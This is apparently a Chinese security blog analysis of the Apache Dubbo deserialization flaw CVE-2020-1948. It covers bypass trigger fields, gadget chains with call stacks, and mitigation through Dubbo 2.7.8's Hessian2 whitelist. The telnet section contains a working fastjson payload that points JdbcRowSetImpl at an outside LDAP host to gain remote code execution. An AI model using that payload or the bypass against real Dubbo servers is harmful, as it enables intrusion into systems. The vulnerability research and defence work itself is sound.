安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化
最近的Dubbo漏洞
一, 根据https://www.mail-archive.com/[email protected]/msg06544.html 最近的Dubbo反序列化漏洞CVE-2020-1948
作者提供的poc是
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService'
method_name='rce',
args=[toStringBean])
是将恶意对象放到args
这个数组的一个元素中。
二,于是参考作者rui0的文章,尝试其他的利用方式。参考:
http://rui0.cn/archives/1338
其评论中提供的思路,
这里需要注意一下,因为最近的Dubbo反序列化漏洞公布了。所以需要补充一下,因为主题的关系文章中只提到了Dubbo的toString触发点,但是Dubbo实际上在刚传入序列化值时也有一个触发点,漏洞公布的邮件里并没有涉及全部的细节以及poc,所以一些版本如果在代码层面只去掉输出arguments处理,仍然还有其他触发位置可能存在风险。建议各位开发者尽量采取升级措施,或在代码层面去掉arguments的输出同时对Hessian进行加固。
发现除了args
属性之外,其他属性比如service_name
、method_name
、service_version
都可作为利用点。
漏洞原理
Dubbo反序列化过程及原理还有各种丰富的gadget参考threedr3am大佬的先知文章和github代码。
反序列化之后的触发点是,new Exception("test" + obj)时,会对字符串进行拼接(StringBuilder#append
), 为了拿到obj的值,会使用
String.valueOf(obj)
=>obj.toString()
去取。需要找到某个类其重写的toString方法可以rce,而com.rometools.rome.feed.impl.ToStringBean
就是这样的类。因为在其重写的toString方法中(=>toString(String prefix)) 会调用指定类对象所有属性的get方法。
com.rometools.rome.feed.impl.ToStringBean#toString
这里是通过构造com.sun.rowset.JdbcRowSetImpl
对象,调用其getDatabaseMetaData
方法,这样会调用com.sun.rowset.JdbcRowSetImpl#connect
方法,加上poc中设置的其dataSource属性(jndi的url),实现rce。
这种利用方式的调用栈为(以service_version
为例):
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:3564, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:88, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:109, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:80, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
而version < 2.7.7的调用栈为:(以2.7.1为例)
toString:105, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
toString:4571, Arrays (java.util)
toString:211, RpcInvocation (org.apache.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:248, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)
reply:102, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
handleRequest:103, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:200, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
可以从下面这个方法看出两个触发点的不同(以2.7.1版本为例):org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(Channel channel, InputStream input)
可以看出公开的poc触发的点是在读取arguments的时候(对应poc中args
属性)
而绕过方式的触发点是在读取service_name
、method_name
、service_version
时触发。
在2.7.7修复的地方之前就已经触发了。
而其模型都是:
new Exception("string" + obj)
具体地, version < 2.7.7是在:org\apache\dubbo\dubbo\2.7.1\dubbo-2.7.1.jar!\org\apache\dubbo\rpc\protocol\dubbo\DubboProtocol#getInvoker(Channel channel, Invocation inv)的这行代码
// inv为DecodeableRpcInvocation类的恶意对象
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
version = 2.7.7版本是在:
// obj为DecodeableRpcInvocation类的恶意对象
this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")")
protected IOException error(String message) {
return this._method != null ? new HessianProtocolException(this._method + ": " + message) : new HessianProtocolException(message);
}
tips
为了避免在调试反序列化漏洞toString方法的时候多次触发计算器,或者误触发了本不会触发的计算器,可以在IDEA中进行设置: 参考:http://rui0.cn/archives/1338
telnet服务结合fastjson实现RCE
Dubbo的telnet服务还有其他风险。由于其解析字符串默认使用的是fastjson,可以结合fastjson实现RCE。
invoke ({ "111": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.85.1:8089/test_by_cqq", "autoCommit": true })
关键代码在:
org\apache\dubbo\dubbo\2.7.7\dubbo-2.7.7.jar!\org\apache\dubbo\qos\legacy\InvokeTelnetHandler#telnet(Channel channel, String message)
后面就是fastjson的JSON.parseArray方法的调用过程了。
调用栈为:
telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)
telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)
received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化
git clone https://github.com/apache/dubbo
cd dubbo
git checkout 2.7.8 -b b2.7.8
mvn install -DskipTests
安装到本地maven仓库中。IDEA中,
Update这个本地仓库,然后就可以使用本地maven里的dubbo-2.7.8.jar
了。
使用dubbo 2.7.8之后,如果不加额外配置,在默认配置情况下依然可以利用此漏洞。
需要加上jvm参数:配置白名单时,
// whitelist
-Ddubbo.application.hessian2.whitelist=true
-Ddubbo.application.hessian2.allow="org.apache.dubbo.demo.*"
配置黑名单时,
// blacklist
-Ddubbo.application.hessian2.whitelist=false
-Ddubbo.application.hessian2.deny="org.malicious.code.*"
实际测试发现只要
-Ddubbo.application.hessian2.whitelist=whatever
即可防御现有的gadget。参考:
https://github.com/apache/dubbo/pull/6378
gadget详情参考threedr3am大佬的代码:
https://github.com/threedr3am/dubbo-exp
使用危害最大的SpringAbstractBeanFactoryPointcutAdvisor
这个反序列化gadget 报错如下:
2020-07-10 16:15:14.553 INFO 23336 --- [erverWorker-3-1] o.a.d.r.t.netty4.NettyServerHandler : [DUBBO] The connection of /10.255.x.y:33809 -> /10.2.a.b:12345 is established., dubbo version: 2.7.8, current host: 169.254.24.31
2020-07-10 16:15:14.634 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
2020-07-10 16:15:14.634 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.aop.TruePointcut in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
2020-07-10 16:15:14.635 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.jndi.support.SimpleJndiBeanFactory in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
2020-07-10 16:15:14.636 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.apache.commons.logging.impl.NoOpLog in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
2020-07-10 16:15:14.636 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.jndi.JndiTemplate in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
2020-07-10 16:15:14.640 WARN 23336 --- [erverWorker-3-1] o.a.d.remoting.transport.AbstractServer : [DUBBO] All clients has disconnected from /10.2.a.b:12345. You can graceful shutdown now., dubbo version: 2.7.8, current host: 169.254.24.31
2020-07-10 16:15:14.641 INFO 23336 --- [erverWorker-3-1] o.a.d.r.t.netty4.NettyServerHandler : [DUBBO] The connection of /10.255.x.y:33809 -> /10.2.a.b:12345 is disconnected., dubbo version: 2.7.8, current host: 169.254.24.31
使用之前的Dubbo绕过之二(后反序列化),通过对比,以2.7.1为例, C:\Users\Administrator.m2\repository\org\apache\dubbo\dubbo\2.7.1\dubbo-2.7.1.jar!\com\alibaba\com\caucho\hessian\io\Hessian2Input#expect(String expect, int ch)
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
这里readObejct可以拿到攻击者提供的对象(这里是ToStringBean
)
而对比2.7.8, 这里变成了一个HashMap:
参考:
https://mp.weixin.qq.com/s/ppq92Dbb2MqK2XgjTSZvSw
https://cloud.tencent.com/developer/article/1587681
http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html
https://github.com/threedr3am/dubbo-exp
http://rui0.cn/archives/1338